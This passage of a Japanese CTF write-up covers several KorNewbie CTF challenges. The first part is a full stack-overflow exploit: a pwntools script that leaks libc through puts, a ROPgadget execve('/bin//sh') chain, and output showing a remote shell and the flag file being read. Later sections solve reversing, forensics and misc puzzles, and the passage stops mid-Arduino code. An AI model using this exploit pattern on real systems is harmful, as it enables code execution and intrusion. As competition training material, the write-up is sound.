0000| 0xffffd5f0 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377
\377\243\336\377\377"...)
0004| 0xffffd5f4 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377
\243\336\377\377\262\336\377\377"...)
0008| 0xffffd5f8 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377"...)
0012| 0xffffd5fc ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377"...)
0016| 0xffffd600 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377"...)
0020| 0xffffd604 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377"...)
0024| 0xffffd608 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377\374\336\377\377"...)
0028| 0xffffd60c ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377\374\336\377\377\a\337\377\377"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41413741 in ?? ()
gdb-peda$ LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
Undefined command: "LA".  Try "help".
gdb-peda$ patto 0x41413741
1094793025 found at offset: 104
gdb-peda$ 

104文字目でオーバーフローすることが分かりました。

次に、libcのベースアドレスを求めます。 一度バッファオーバーフローを起こし、puts関数を利用して、putsのGOTのアドレスを表示させるようにします。 リークさせたアドレスから、libcにあるputs関数のオフセットを引けば、libcのベースアドレスを求めることができます。 また、リーク後に再度main関数を呼び出すことで、再度入力が可能な状態にすることができます。 以下のようなスクリプトを作成して、libcのベースアドレスを求めるようにしました。

from pwn import *

ARCH = "i386"
FILE = "./drop_the_beat_easy"
LIBC = "./libc.so.6"
HOST = "prob.vulnerable.kr"
PORT = 20002

def exploit(con, elf, libc, rop):
    puts_got = elf.got[b"puts"]
    rop.call("puts", [puts_got])
    rop.call("main")
    log.info(rop.dump())

    offset = 104
    payload = b"A" * offset
    payload += rop.chain()
    log.info("payload: {}".format(payload))

    con.sendlineafter("2) No Beat For You..!", b"1")
    con.sendlineafter("Give Me a Beat!!", payload)
    con.readuntil("Wow... That's AWESOME!\n")
    puts_addr = int.from_bytes(con.read(4), "little") 
    log.info("puts_addr: {}".format(hex(puts_addr)))

    puts_offset = libc.symbols[b"puts"]
    libc_base = puts_addr - puts_offset
    log.info("lobc_base: {}".format(hex(libc_base)))

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、libcのベースアドレス(0xf755c000)が取得できます。

$ python exploit2.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20002: Done
[*] '/root/workdir/drop/drop_the_beat_easy'
[+] Opening connection to prob.vulnerable.kr on port 20002: Done
[*] '/root/workdir/drop/drop_the_beat_easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/root/workdir/drop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './drop_the_beat_easy'
[*] 0x0000:        0x80483e0 puts(134520848)
    0x0004:        0x80483b9 <adjust: pop ebx; ret>
    0x0008:        0x804a010 b'got.puts'
    0x000c:        0x804853b main()
    0x0010:          b'eaaa' <pad>
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08\xb9\x83\x04\x08\x10\xa0\x04\x08;\x85\x04\x08eaaa'
[*] puts_addr: 0xf75bb140
[*] lobc_base: 0xf755c000
[*] Switching to interactive mode
�@EW� dP  888888ba   .88888.   888888ba       dP   dP                   dP                           dP   
      dP  888888ba   .88888.   888888ba       dP   dP                   dP                           dP   
      88  88    `8b d8'   `8b  88    `8b      88   88                   88                           88   
.d888b88 a88aaaa8P' 88     88 a88aaaa8P'    d8888P 88d888b. .d8888b.    88d888b. .d8888b. .d8888b. d8888P 
88'  `88  88   `8b. 88     88  88             88   88'  `88 88ooood8    88'  `88 88ooood8 88'  `88   88   
88.  .88  88     88 Y8.   .8P  88             88   88    88 88.  ...    88.  .88 88.  ... 88.  .88   88   
`88888P8  dP     dP  `8888P'   dP             dP   dP    dP `88888P'    88Y8888' `88888P' `88888P8   dP   
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

dROP The beat(easy version)

1) Give Him a Beat!
2) No Beat For You..!
$

最後に、シェルを起動するためのROPチェインを作成します。

$ ROPgadget --binary ./libc.so.6 --ropchain

# 省略

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

        [+] Gadget found: 0x7c63c mov dword ptr [esi], ebx ; pop ebx ; pop esi ; ret
        [+] Gadget found: 0x17828 pop esi ; ret
        [+] Gadget found: 0x18395 pop ebx ; ret
        [-] Can't find the 'xor ebx, ebx' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x11d0ab mov dword ptr [edx], esi ; pop ebx ; pop esi ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0x17828 pop esi ; ret
        [-] Can't find the 'xor esi, esi' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x3ccd8 mov dword ptr [edx], ecx ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0xb4047 pop ecx ; ret
        [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x130394 mov dword ptr [edx], ecx ; pop ebx ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0xb4047 pop ecx ; ret
        [-] Can't find the 'xor ecx, ecx' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x6b34b mov dword ptr [edx], eax ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret
        [+] Gadget found: 0x23f97 pop eax ; ret
        [+] Gadget found: 0x2c5fc xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

        [+] Gadget found: 0x2c5fc xor eax, eax ; ret
        [+] Gadget found: 0x7eec inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

        [+] Gadget found: 0x18395 pop ebx ; ret
        [+] Gadget found: 0xb4047 pop ecx ; ret
        [+] Gadget found: 0x1aa6 pop edx ; ret

- Step 4 -- Syscall gadget

        [+] Gadget found: 0x2c87 int 0x80

- Step 5 -- Build the ROP chain

        #!/usr/bin/env python2
        # execve generated by ROPgadget

        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0040) # @ .data
        p += pack('<I', 0x00023f97) # pop eax ; ret
        p += '/bin'
        p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0044) # @ .data + 4
        p += pack('<I', 0x00023f97) # pop eax ; ret
        p += '//sh'
        p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0048) # @ .data + 8
        p += pack('<I', 0x0002c5fc) # xor eax, eax ; ret
        p += pack('<I', 0x0006b34b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x00018395) # pop ebx ; ret
        p += pack('<I', 0x001b0040) # @ .data
        p += pack('<I', 0x000b4047) # pop ecx ; ret
        p += pack('<I', 0x001b0048) # @ .data + 8
        p += pack('<I', 0x00001aa6) # pop edx ; ret
        p += pack('<I', 0x001b0048) # @ .data + 8
        p += pack('<I', 0x0002c5fc) # xor eax, eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00007eec) # inc eax ; ret
        p += pack('<I', 0x00002c87) # int 0x80

ROPチェインが作成できました。後は、少し調整してスクリプトに落とし込むだけです。 最終的なスクリプトは、以下のようになります。

from pwn import *

ARCH = "i386"
FILE = "./drop_the_beat_easy"
LIBC = "./libc.so.6"
HOST = "prob.vulnerable.kr"
PORT = 20002

def leak_libc_base(con, elf, libc, rop):
    puts_got = elf.got[b"puts"]
    rop.call("puts", [puts_got])
    rop.call("main")
    log.info(rop.dump())

    offset = 104
    payload = b"A" * offset
    payload += rop.chain()
    log.info("payload: {}".format(payload))

    con.sendlineafter("2) No Beat For You..!", b"1")
    con.sendlineafter("Give Me a Beat!!", payload)
    con.readuntil("Wow... That's AWESOME!\n")
    puts_addr = int.from_bytes(con.read(4), "little") 
    log.info("puts_addr: {}".format(hex(puts_addr)))

    puts_offset = libc.symbols[b"puts"]
    libc_base = puts_addr - puts_offset
    log.info("lobc_base: {}".format(hex(libc_base)))
    return libc_base

def exploit(con, elf, libc, rop):
    libc_base = leak_libc_base(con, elf, libc, rop)

    offset = 104
    payload = b"A" * offset
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0040) # @ .data
    payload += pack(libc_base + 0x00023f97) # pop eax ; ret
    payload += b'/bin'
    payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0044) # @ .data + 4
    payload += pack(libc_base + 0x00023f97) # pop eax ; ret
    payload += b'//sh'
    payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0048) # @ .data + 8
    payload += pack(libc_base + 0x0002c5fc) # xor eax, eax ; ret
    payload += pack(libc_base + 0x0006b34b) # mov dword ptr [edx], eax ; ret
    payload += pack(libc_base + 0x00018395) # pop ebx ; ret
    payload += pack(libc_base + 0x001b0040) # @ .data
    payload += pack(libc_base + 0x000b4047) # pop ecx ; ret
    payload += pack(libc_base + 0x001b0048) # @ .data + 8
    payload += pack(libc_base + 0x00001aa6) # pop edx ; ret
    payload += pack(libc_base + 0x001b0048) # @ .data + 8
    payload += pack(libc_base + 0x0002c5fc) # xor eax, eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00007eec) # inc eax ; ret
    payload += pack(libc_base + 0x00002c87) # int 0x80

    con.sendlineafter("2) No Beat For You..!", b"1")
    con.sendlineafter("Give Me a Beat!!", payload)
    con.readuntil("Wow... That's AWESOME!\n")

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行するとシェルが取れ、フラグを表示させることができました。

$ python exploit.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20002: Done
[*] '/root/workdir/drop/drop_the_beat_easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/root/workdir/drop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './drop_the_beat_easy'
[*] 0x0000:        0x80483e0 puts(134520848)
    0x0004:        0x80483b9 <adjust: pop ebx; ret>
    0x0008:        0x804a010 b'got.puts'
    0x000c:        0x804853b main()
    0x0010:          b'eaaa' <pad>
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\x83\x04\x08\xb9\x83\x04\x08\x10\xa0\x04\x08;\x85\x04\x08eaaa'
[*] puts_addr: 0xf7674140
[*] lobc_base: 0xf7615000
[*] Switching to interactive mode
$ id
uid=1000(drop_the_beat) gid=1000(drop_the_beat) groups=1000(drop_the_beat)
$ cat /home/drop_the_beat/flag
KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}
$

FLAG

KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}

BABYREV(Reversing)

問題

암호화 프로그램을 가지고 중요한 기밀을 암호화 하였는데 복호화 프로그램을 만들지 못하겠어! 나를 도와 주겠니?

I encrypted my sensitive secrets with an encryption program, but I can't make a decryption program! Can you help me?

Author: 윤재형

添付ファイル

  • babyrev.exe
  • enc.txt

解答例

まずは、fileコマンドを実行してみます。 64bitのPEファイルのようです。

$ file babyrev.exe
babyrev.exe: PE32+ executable (console) x86-64, for MS Windows

実際に実行してみて動作を確かめてみます。 コマンドライン引数にflag.txtを指定すると、同じサイズのenc.txtが出力されました。

PS> .\babyrev.exe
./babyrev (file)
PS> echo -n "KorNewbie{TEST_TEST}" > flag.txt
PS> (Get-ChildItem .\flag.txt).Length
46
PS> .\babyrev.exe .\flag.txt
size =46
enc.txt
PS> type .\enc.txt
久゙v孥ェv$v@vPvv$v8vIv・俿Iv<vIv・俿Ivーvkvワv

次にGhidraで開いてみます。 68~73行目辺りの処理をみてみると、1文字ずつエンコードしているように見えます。

f:id:tsalvia:20191103160257p:plain

1文字ずつエンコードしているので、総当たりでフラグを求められそうです。 以下のようなスクリプトを作成しました。

import subprocess
import string

def main():
    with open("original/enc.txt", "rb") as f:
        orig_enc_txt = f.readline()
    
    size = len(orig_enc_txt)

    flag = ["A"] * size
    for i in range(size):
        for ch in string.printable:
            flag[i] = ch
            with open("flag.txt", "w") as f:
                f.write("".join(flag))
    
            subprocess.run(["babyrev.exe", "flag.txt"], stdout=subprocess.DEVNULL)

            with open("enc.txt", "rb") as f:
                enc_txt = f.readline()
    
            if orig_enc_txt[i] == enc_txt[i]:
                print("".join(flag))
                break

if __name__ == "__main__":
    main()

実行すると、フラグが1文字ずつ出力されていきます。

PS> python3 .\solve.py
kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
koAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbiAAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbieAAAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{AAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{bAAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{baAAAAAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8AAAAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8yAAAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_AAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_rAAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_reAAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_revAAAAAAAAAAAAAAAAAA
korNewbie{ba8y_rev_AAAAAAAAAAAAAAAAA
korNewbie{ba8y_rev_iAAAAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$AAAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_AAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_vAAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_veAAAAAAAAAAAA
korNewbie{ba8y_rev_i$_verAAAAAAAAAAA
korNewbie{ba8y_rev_i$_veryAAAAAAAAAA
korNewbie{ba8y_rev_i$_very_AAAAAAAAA
korNewbie{ba8y_rev_i$_very_VAAAAAAAA
korNewbie{ba8y_rev_i$_very_VeAAAAAAA
korNewbie{ba8y_rev_i$_very_VerAAAAAA
korNewbie{ba8y_rev_i$_very_VeryAAAAA
korNewbie{ba8y_rev_i$_very_Very_AAAA
korNewbie{ba8y_rev_i$_very_Very_eAAA
korNewbie{ba8y_rev_i$_very_Very_eZAA
korNewbie{ba8y_rev_i$_very_Very_eZ!A
korNewbie{ba8y_rev_i$_very_Very_eZ!}

FLAG

korNewbie{ba8y_rev_i$_very_Very_eZ!}

S_@_X(Reversing)

問題

What is sgx?
Author: BabyREV

添付ファイル

  • app
  • enclave.signed.so

解答例

とりあえず、fileコマンドを実行してみました。64bitのPEファイルのようです。

$ file app enclave.signed.so
app:               ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fb10c93f82a3dc7a84fd2713311466b990a4b60a, for GNU/Linux 3.2.0, not stripped
enclave.signed.so: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ec8ed4495507210dac46ccbdee2f5aa57741b4b2, not stripped

Ghidraでも開いてみました。 29~37行目を見てみると、add関数の戻り値を基にSucceedfailを表示する処理が確認できます。

f:id:tsalvia:20191104025128p:plain

次にenclave.signed.soにあるadd関数内を見てみます。 この関数でフラグのチェックをしているようです。

f:id:tsalvia:20191104024853p:plain

if文を丁寧に読んでいくと、フラグを確認することができました。

FLAG

KorNewbie{aMd_i$_bEttEr_thaN_iNtel!}

REC(Forensic)

問題

REC? Kion vi celas?

添付ファイル

  • REC.zip

解答例

REC.zip を展開すると、REC.exeが出てきました。 拡張子がexeなので、とりあえず、fileコマンドを打ってみます。

$ file REC.exe
REC.exe: data

次にバイナリエディタで開いてみました。 This program cannot be run in DOS modeと書かれているので、PEファイルのように見えますが、先頭のMZが見当たりません。

f:id:tsalvia:20191103193742p:plain

適当なPEファイルと見比べながら、PEヘッダを修正していきます。 単純に先頭の2バイトが足りていないだけでした。

f:id:tsalvia:20191103195017p:plain

修正して、ダブルクリックで実行してみるとエラーメッセージ表示されました(コンソールで実行すると何も表示されませんでした)。

f:id:tsalvia:20191103200645p:plain

libgcc_s_dw2-1.dllを用意して、実行するとフラグが表示されました。

PS> .\REC.exe
KorNewbie{Recover_Signature}

FLAG

KorNewbie{Recover_Signature}

Chat(Forensic)

問題

채팅을 통해 기밀정보가 오갔다. 해당 채팅을 사용한 사용자의 이메일을 찾으시오.
Confidential information came and went through chat. Find the email of the user who used the chat.
Flag: KorNewbie{email_address}
https://drive.google.com/open?id=1Gfz5e-rwDSz14MWPfhGBfKHqfAjPGVXX
https://web.jaeuk.xyz/chat/VM.zip
Author: 신재욱(Y311J)

解答例

今回の問題は、メールアドレスを探し出すことが目標のようです。

まず、問題文のリンクにアクセスすると、VM.zipがダウンロードできます。 VM.zipを展開すると、vmdkファイルが格納されていました。

ディスクイメージなので、Autopsyを使ってメールアドレスを探せそうです。 ただし、Autopsyは、vmdkファイルを読み出せないので、まずはraw形式に変換します。

以下のサイトを参考に変換しました。

zarat.hatenablog.com

以下のコマンドで変換できるようです。

PS> qemu-img.exe convert -f vmdk NewbieCTF2019_KakaoTalk.vmdk -O raw NewbieCTF2019_KakaoTalk.raw

Autopsyで開くと、703件のメールアドレスがヒットしていました。

f:id:tsalvia:20191103205007p:plain

地道に一つひとつ確認していると、怪しげなメールアドレス(renek@it-simple.net)を発見しました。 試しにフラグとして入力してみると、正解となりました。

f:id:tsalvia:20191103202054p:plain

FLAG

KorNewbie{renek@it-simple.net}

Discord(Misc)

問題

Come to our Official Discord!!
https://discord.gg/5hAk2WS

flag is in "RULES" Channel

解答例

Discordにアクセスして、#rulesチャンネルを開くと、フラグが書かれていました。

f:id:tsalvia:20191103133239p:plain

FLAG

KorNewbie{W31C0m3_t0_0ffiC14l_D1$C05d}

NC_MIC(Misc)

問題

Hello! I am NC mic!
"well..well.. What is the flag?"
Author: 신재욱(Y311J)
Flag type: KorNewbie{flag}
(Since this CTF was originally planned as a war game, the flag of this problem has 'wargame' written on it.)

nc prob.vulnerable.kr 20000

解答例

netcatで接続すると、フラグが表示されました。

$ nc prob.vulnerable.kr 20000
KorNewbie{W3lC0m3_T0_K0RN3wB13_W4RG4M3!!!!!}

FLAG

KorNewbie{W3lC0m3_T0_K0RN3wB13_W4RG4M3!!!!!}

Catch Me(Misc)

問題

Haha you can't see the string Author : Ez1o

添付ファイル

  • Prob.gif

解答例

以下のgif画像が渡されました。黒丸が色々な座標に高速で移動しているように見えます。

f:id:tsalvia:20191103213313g:plain

ScreenToGifのエディタ機能を使って、gif画像をコマ送りで確認しました。

f:id:tsalvia:20191103213756p:plain

移動座標は、以下のようになっていました。

行番号 列番号
1 11 9
2 4 8
3 11 9
4 9 5
5 10 1
6 5 2
7 11 3
8 4 9
9 10 1
10 9 5
11 5 1
12 12 1
13 5 1

少しエスパー気味ですが、行番号と列番号をつなげて10進数として読み取ることができ、アスキーコードに変換できそうです (例えば、行番号:11、列番号:9の場合、10進数の119として考え、wに変換できます)。

CyberChefで変換すると、以下のようになりました。

f:id:tsalvia:20191103215936p:plain

よって、KorNewbie{w0w_e4q1e_3y3}がフラグとなります。

FLAG

KorNewbie{w0w_e4q1e_3y3}

BiMilCode(Misc)

問題

Good Luck
nc prob.vulnerable.kr 20034
Author : Ez1o

解答例

netcatで接続すると、エンコードされた値が出てきました。 接続のたびに値が変わるようです。 また、3回だけ解答チャンスがあるようです。 間違えてしまった場合は、エンコード結果を表示してくれます。

aaaaaaaaAAAAAAAA を入力してみると、以下のようになりました。

$ nc prob.vulnerable.kr 20034
==================================================
This is BiMilCode
I'll give you a chance to type 3 times.
Good Luck
# if you got it how to solve this problem type 0 .
==================================================
You can encode me? :  4c d1 5d 4a 2e 6b a0 3e 
Input : aaaaaaaa
8a b7 62 75 61 89 85 66 
you have 2 chance left.
Input : AAAAAAAA
6a 97 42 55 41 69 65 46 
you have 1 chance left.
Input : 

aaaaaaaaの場合、8a b7 62 75 61 89 85 66
AAAAAAAAの場合、6a 97 42 55 41 69 65 46 となりました。

それぞれ、同じ値(29 56 1 14 0 28 24 5)だけずれていることが分かります。

差分も接続のたびに代わってしまうので、一度\x00\x00\x00\x00\x00\x00\x00\x00 を送って、差分を求めれば良さそうです。 以下のようなスクリプトを作成しました。

from pwn import *

def main():
    con = remote("prob.vulnerable.kr", 20034)

    con.readuntil("You can encode me? :  ")
    enc = con.readline().decode("utf-8").strip().split(" ")
    log.info("enc: {}".format(enc))

    con.sendlineafter("Input : ", b"\x00" * 8)
    diff = con.readuntil("\n").decode("utf-8").strip().split(" ")
    log.info("diff: {}".format(diff))

    dec = ""
    for e, d in zip(enc, diff):
        dec += chr(int(e, 16) - int(d, 16))

    con.sendlineafter("Input : ", b"0")
    con.sendlineafter("Oh really? come on ! : ", dec)

    con.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグが出力されました。

$ python solve.py 
[+] Opening connection to prob.vulnerable.kr on port 20034: Done
[*] enc: ['90', '70', '5f', '34', '84', 'ca', '79', '48']
[*] diff: ['1b', '1', 'e', '2', '15', '5a', '5', '2']
[*] Switching to interactive mode
You did it!
KorNewbie{Nace_I_believed_it}
[*] Got EOF while reading in interactive

FLAG

KorNewbie{Nace_I_believed_it}

Elecduino(Misc)

問題

과제로 만들어놓은 아두이노 회로도가 잠시 자리를 비운 사이 누군가 망쳐놓았다! 회로도를 복구하고 결과값을 얻어내라. circuits의 My work 가 문제파일이다.
Problem URL : https://www.tinkercad.com/users/dNMUsC3jcEB-?category=circuits&sort=likes&view_mode=default
결과값에 플래그 포멧은 존재하지 않는다.
While the homework Aduino circuit diagram is gone for a while, Someone ruined it! Restore the circuit diagram and get the result. problem file is My work
There is no flag format in the result
Good Luck !
Author : Ez1o

解答例

問題文のリンクにアクセスすると、Arduino UNO、スプレッドシート、LEDなどが色々つながった回路が表示されました。 Tinkercadと呼ばれる回路シミュレータサービスがあるようです。

f:id:tsalvia:20191103224854p:plain

色々ボタンをいじっていると、「コード」ボタンからArduinoソースコードが出てきました。

f:id:tsalvia:20191104015005p:plain

以下、見つかったコードになります。

void setup()
{
  pinMode(13, OUTPUT);
}

void prob1(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob2(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob3(){
  digitalWrite(4, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(4, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob4(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob5(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob6(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob7(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob8(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

